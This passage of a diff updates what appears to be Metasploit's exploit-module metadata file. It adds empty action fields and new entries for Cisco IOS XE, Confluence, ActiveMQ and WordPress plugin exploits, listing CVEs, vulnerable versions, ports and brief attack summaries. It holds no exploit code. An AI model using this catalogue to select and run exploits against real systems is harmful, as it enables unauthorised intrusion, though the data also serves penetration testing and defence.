}, "exploit_linux/local/rds_rds_page_copy_user_priv_esc": { "name": "Reliable Datagram Sockets (RDS) rds_page_copy_user Privilege Escalation", @@ -79466,7 +85453,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/recvmmsg_priv_esc": { "name": "Linux Kernel recvmmsg Privilege Escalation", @@ -79514,7 +85504,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/reptile_rootkit_reptile_cmd_priv_esc": { "name": "Reptile Rootkit reptile_cmd Privilege Escalation", @@ -79565,7 +85558,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/service_persistence": { "name": "Service Persistence", @@ -79612,7 +85608,10 @@ "session_types": [ ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/servu_ftp_server_prepareinstallation_priv_esc": { "name": "Serv-U FTP Server prepareinstallation Privilege Escalation", @@ -79669,7 +85668,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/sock_sendpage": { "name": "Linux Kernel Sendpage Local Privilege Escalation", @@ -79727,7 +85729,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/sophos_wpa_clear_keys": { "name": "Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation", @@ -79774,7 +85779,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/su_login": { "name": "Login to Another User with Su on Linux / Unix Systems", @@ -79828,7 +85836,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/sudo_baron_samedit": { "name": "Sudo Heap-Based Buffer Overflow", @@ -79912,7 +85923,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/sudoedit_bypass_priv_esc": { "name": "Sudoedit Extra Arguments Priv Esc", @@ -79975,7 +85989,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/systemtap_modprobe_options_priv_esc": { "name": "SystemTap MODPROBE_OPTIONS Privilege Escalation", @@ -80036,7 +86053,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/tomcat_rhel_based_temp_priv_esc": { "name": "Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation", @@ -80095,7 +86115,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/tomcat_ubuntu_log_init_priv_esc": { "name": "Apache Tomcat on Ubuntu Log Init Privilege Escalation", @@ -80153,7 +86176,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/ubuntu_enlightenment_mount_priv_esc": { "name": "Ubuntu Enlightenment Mount Priv Esc", @@ -80208,7 +86234,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/udev_netlink": { "name": "Linux udev Netlink Local Privilege Escalation", @@ -80256,7 +86285,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/ueb_bpserverd_privesc": { "name": "Unitrends Enterprise Backup bpserverd Privilege Escalation", @@ -80305,7 +86337,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/ufo_privilege_escalation": { "name": "Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation", @@ -80365,7 +86400,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/vcenter_java_wrapper_vmon_priv_esc": { "name": "VMware vCenter vScalation Priv Esc", @@ -80425,7 +86463,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/vmware_alsa_config": { "name": "VMware Workstation ALSA Config File Local Privilege Escalation", @@ -80482,7 +86523,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/vmware_mount": { "name": "VMWare Setuid vmware-mount Unsafe popen(3)", @@ -80539,7 +86583,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/vmware_workspace_one_access_certproxy_lpe": { "name": "VMware Workspace ONE Access CVE-2022-31660", @@ -80592,7 +86639,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/vmware_workspace_one_access_cve_2022_22960": { "name": "VMware Workspace ONE Access CVE-2022-22960", @@ -80649,7 +86699,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/vmwgfx_fd_priv_esc": { "name": "vmwgfx Driver File Descriptor Handling Priv Esc", @@ -80705,7 +86758,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/yum_package_manager_persistence": { "name": "Yum Package Manager Persistence", @@ -80748,7 +86804,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/zimbra_postfix_priv_esc": { "name": "Zimbra sudo + postfix privilege escalation", @@ -80802,7 +86861,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/zimbra_slapper_priv_esc": { "name": "Zimbra zmslapd arbitrary module load", @@ -80856,7 +86918,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/local/zpanel_zsudo": { "name": "ZPanel zsudo Local Privilege Escalation Exploit", @@ -80901,7 +86966,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_linux/local/zyxel_suid_cp_lpe": { "name": "Zyxel Firewall SUID Binary Privilege Escalation", @@ -80955,7 +87023,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_linux/misc/accellion_fta_mpipe2": { "name": "Accellion FTA MPIPE2 Command Execution", @@ -81101,6 +87172,73 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/misc/cisco_ios_xe_rce": { + "name": "Cisco IOX XE Unauthenticated RCE Chain", + "fullname": "exploit/linux/misc/cisco_ios_xe_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-10-16", + "type": "exploit", + "author": [ + "sfewer-r7" + ], + "description": "This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE\n devices which have the Web UI exposed. An attacker can execute a payload with root privileges.\n\n The vulnerable IOS XE versions are:\n 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,\n 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,\n 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,\n 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,\n 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,\n 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,\n 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,\n 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,\n 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,\n 16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,\n 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,\n 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,\n 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,\n 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,\n 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,\n 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,\n 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,\n 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,\n 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,\n 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,\n 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,\n 17.11.99SW", + "references": [ + "CVE-2023-20198", + "CVE-2023-20273", + "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z", + "URL-https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", + "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml", + "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/", + "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/", + "URL-https://blog.leakix.net/2023/10/cisco-root-privesc/", + "URL-https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Linux Command", + "Unix Command" + ], + "mod_time": "2023-11-07 09:21:04 +0000", + "path": "/modules/exploits/linux/misc/cisco_ios_xe_rce.rb", + "is_install_path": true, + "ref_name": "linux/misc/cisco_ios_xe_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/misc/cisco_rv340_sslvpn": { "name": "Cisco RV340 SSL VPN Unauthenticated Remote Code Execution", "fullname": "exploit/linux/misc/cisco_rv340_sslvpn", @@ -84806,7 +90944,7 @@ "targets": [ "Auto" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2023-12-05 10:51:12 +0000", "path": "/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb", "is_install_path": true, "ref_name": "linux/upnp/dlink_dir859_exec_ssdpcgi", @@ -84870,7 +91008,7 @@ "needs_cleanup": null }, "exploit_linux/upnp/dlink_upnp_msearch_exec": { - "name": "D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection", + "name": "D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.", "fullname": "exploit/linux/upnp/dlink_upnp_msearch_exec", "aliases": [ @@ -84879,28 +91017,48 @@ "disclosure_date": "2013-02-01", "type": "exploit", "author": [ - "Zachary Cutlip", - "Michael Messner " + "h00die-gr3y ", + "Zach Cutlip", + "Michael Messner ", + "Miguel Mendez Z. (s1kr10s)", + "Pablo Pollanco (secenv)", + "Naihsin https://github.com/naihsin" ], - "description": "Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast\n requests. This module has been tested on DIR-300 and DIR-645 devices. Zachary Cutlip\n has initially reported the DIR-815 vulnerable. Probably there are other devices also\n affected.", + "description": "A command injection vulnerability exists in multiple D-Link network products, allowing an attacker\n to inject arbitrary command to the UPnP via a crafted M-SEARCH packet.\n Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900.\n An attacker can perform a remote command execution by injecting the payload into the\n `Search Target` (ST) field of the SSDP M-SEARCH discover packet.\n After successful exploitation, an attacker will have full access with `root` user privileges.\n\n NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads\n when using the Linux Dropper target. Some D-Link devices do not have the `wget` command so\n configure `echo` as flavor with the command set CMDSTAGER::FLAVOR echo.\n\n The following D-Link network products and firmware are vulnerable:\n - D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01 or older;\n - D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;\n - D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;\n - D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;\n - D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;\n - D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;\n - D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;\n - D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;\n - D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;\n - D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;\n - D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;\n - D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;\n - D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older;\n - D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;\n - D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;\n - D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;\n - D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;\n - D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;\n - D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;\n - D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;\n - D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;\n - D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;\n - D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;\n - D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;\n - D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;\n - probably more looking at the scale of impacted devices :-(", "references": [ + "CVE-2023-33625", + "CVE-2020-15893", + "CVE-2019-20215", + "URL-https://attackerkb.com/topics/uqicA23ecz/cve-2023-33625", "URL-https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection", - "URL-http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html" + "URL-https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73", + "URL-https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html", + "URL-https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/", + "URL-https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md" ], - "platform": "", - "arch": "", + "platform": "Linux,Unix", + "arch": "cmd, mipsle, mipsbe, armle", "rport": 1900, "autofilter_ports": [ - + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 ], "autofilter_services": [ - + "http", + "https" ], "targets": [ - "MIPS Little Endian", - "MIPS Big Endian" + "Unix Command", + "Linux Dropper" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2023-11-14 20:40:38 +0000", "path": "/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb", "is_install_path": true, "ref_name": "linux/upnp/dlink_upnp_msearch_exec", @@ -84908,6 +91066,16 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] }, "session_types": false, "needs_cleanup": null @@ -89399,6 +95567,66 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/http/atlassian_confluence_unauth_backup": { + "name": "Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)", + "fullname": "exploit/multi/http/atlassian_confluence_unauth_backup", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-10-31", + "type": "exploit", + "author": [ + "Atlassian", + "jheysel-r7" + ], + "description": "This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a\n Confluence instance administrator account. Using this account, an attacker can then perform all\n administrative actions that are available to Confluence instance administrator. This module uses the\n administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code\n execution on the target in the context of the of the user running the confluence server.", + "references": [ + "URL-https://jira.atlassian.com/browse/CONFSERVER-93142", + "CVE-2023-22518" + ], + "platform": "", + "arch": "", + "rport": 8090, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Java" + ], + "mod_time": "2023-12-14 12:42:23 +0000", + "path": "/modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb", + "is_install_path": true, + "ref_name": "multi/http/atlassian_confluence_unauth_backup", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/http/atlassian_confluence_webwork_ognl_injection": { "name": "Atlassian Confluence WebWork OGNL Injection", "fullname": "exploit/multi/http/atlassian_confluence_webwork_ognl_injection", @@ -103808,6 +110036,67 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/http/wp_royal_elementor_addons_rce": { + "name": "WordPress Royal Elementor Addons RCE", + "fullname": "exploit/multi/http/wp_royal_elementor_addons_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-11-23", + "type": "exploit", + "author": [ + "Fioravante Souza", + "Valentin Lobstein" + ], + "description": "Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).", + "references": [ + "CVE-2023-5360", + "URL-https://vulners.com/nuclei/NUCLEI:CVE-2023-5360", + "WPVDB-281518ff-7816-4007-b712-63aed7828b34" + ], + "platform": "Linux,PHP,Unix,Windows", + "arch": "php, cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic" + ], + "mod_time": "2023-11-28 08:15:27 +0000", + "path": "/modules/exploits/multi/http/wp_royal_elementor_addons_rce.rb", + "is_install_path": true, + "ref_name": "multi/http/wp_royal_elementor_addons_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/http/wp_simple_file_list_rce": { "name": "WordPress Simple File List Unauthenticated Remote Code Execution", "fullname": "exploit/multi/http/wp_simple_file_list_rce", @@ -104436,7 +110725,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_multi/local/allwinner_backdoor": { "name": "Allwinner 3.4 Legacy Kernel Local Privilege Escalation", @@ -104492,7 +110784,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc": { "name": "MagniComp SysInfo mcsiwrapper Privilege Escalation", @@ -104552,7 +110847,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_multi/local/vagrant_synced_folder_vagrantfile_breakout": { "name": "Vagrant Synced Folder Vagrantfile Breakout", @@ -104610,7 +110908,10 @@ "powershell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_multi/local/xorg_x11_suid_server": { "name": "Xorg X11 Server SUID logfile Privilege Escalation", @@ -104674,7 +110975,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_multi/local/xorg_x11_suid_server_modulepath": { "name": "Xorg X11 Server SUID modulepath Privilege Escalation", @@ -104735,7 +111039,66 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] + }, + "exploit_multi/misc/apache_activemq_rce_cve_2023_46604": { + "name": "Apache ActiveMQ Unauthenticated Remote Code Execution", + "fullname": "exploit/multi/misc/apache_activemq_rce_cve_2023_46604", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-10-27", + "type": "exploit", + "author": [ + "X1r0z", + "sfewer-r7" + ], + "description": "This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache\n ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to\n 5.16.6, and all versions before 5.15.16.", + "references": [ + "CVE-2023-46604", + "URL-https://github.com/X1r0z/ActiveMQ-RCE", + "URL-https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/", + "URL-https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis", + "URL-https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt" + ], + "platform": "Linux,Unix,Windows", + "arch": "cmd", + "rport": 61616, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Windows", + "Linux", + "Unix" + ], + "mod_time": "2023-11-06 09:42:59 +0000", + "path": "/modules/exploits/multi/misc/apache_activemq_rce_cve_2023_46604.rb", + "is_install_path": true, + "ref_name": "multi/misc/apache_activemq_rce_cve_2023_46604", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null }, "exploit_multi/misc/arkeia_agent_exec": { "name": "Western Digital Arkeia Remote Code Execution", @@ -105540,7 +111903,7 @@ "targets": [ "Generic (Java Payload)" ], - "mod_time": "2022-03-11 12:22:27 +0000", + "mod_time": "2023-10-09 17:58:00 +0000", "path": "/modules/exploits/multi/misc/java_jmx_server.rb", "is_install_path": true, "ref_name": "multi/misc/java_jmx_server", @@ -105688,7 +112051,7 @@ "Mac OS X PPC (Native Payload)", "Mac OS X x86 (Native Payload)" ], - "mod_time": "2022-03-10 09:29:45 +0000", + "mod_time": "2023-10-09 17:58:00 +0000", "path": "/modules/exploits/multi/misc/java_rmi_server.rb", "is_install_path": true, "ref_name": "multi/misc/java_rmi_server", @@ -108382,7 +114745,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/afp/loginext": { "name": "AppleFileServer LoginExt PathName Overflow", @@ -109130,7 +115496,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/cfprefsd_race_condition": { "name": "macOS cfprefsd Arbitrary File Write Local Privilege Escalation", @@ -109187,7 +115556,10 @@ "session_types": [ ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/dyld_print_to_file_root": { "name": "Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation", @@ -109232,7 +115604,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/feedback_assistant_root": { "name": "Mac OS X Feedback Assistant Race Condition", @@ -109281,7 +115656,10 @@ "meterpreter", "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/iokit_keyboard_root": { "name": "Mac OS X IOKit Keyboard Driver Root Privilege Escalation", @@ -109328,7 +115706,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/libxpc_mitm_ssudo": { "name": "Mac OS X libxpc MITM Privilege Escalation", @@ -109371,7 +115752,10 @@ "session_types": [ ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/mac_dirty_cow": { "name": "macOS Dirty Cow Arbitrary File Write Local Privilege Escalation", @@ -109428,7 +115812,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/nfs_mount_root": { "name": "Mac OS X NFS Mount Privilege Escalation Exploit", @@ -109472,7 +115859,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/persistence": { "name": "Mac OS X Persistent Payload Installer", @@ -109519,7 +115909,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_osx/local/root_no_password": { "name": "Mac OS X Root Privilege Escalation", @@ -109567,7 +115960,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/rootpipe": { "name": "Apple OS X Rootpipe Privilege Escalation", @@ -109614,7 +116010,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/rootpipe_entitlements": { "name": "Apple OS X Entitlements Rootpipe Privilege Escalation", @@ -109658,7 +116057,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/rsh_libmalloc": { "name": "Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation", @@ -109703,7 +116105,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/setuid_tunnelblick": { "name": "Setuid Tunnelblick Privilege Escalation", @@ -109750,7 +116155,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_osx/local/setuid_viscosity": { "name": "Viscosity setuid-set ViscosityHelper Privilege Escalation", @@ -109797,7 +116205,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_osx/local/sudo_password_bypass": { "name": "Mac OS X Sudo Password Bypass", @@ -109847,7 +116258,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/timemachine_cmd_injection": { "name": "Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation", @@ -109895,7 +116309,10 @@ "session_types": [ ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/tpwn": { "name": "Mac OS X \"tpwn\" Privilege Escalation", @@ -109938,7 +116355,10 @@ "session_types": [ "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/vmware_bash_function_root": { "name": "OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)", @@ -109990,7 +116410,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/local/vmware_fusion_lpe": { "name": "VMware Fusion USB Arbitrator Setuid Privilege Escalation", @@ -110050,7 +116473,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_osx/mdns/upnp_location": { "name": "Mac OS X mDNSResponder UPnP Location Overflow", @@ -110332,7 +116758,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_qnx/qconn/qconn_exec": { "name": "QNX qconn Command Execution", @@ -110492,7 +116921,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] 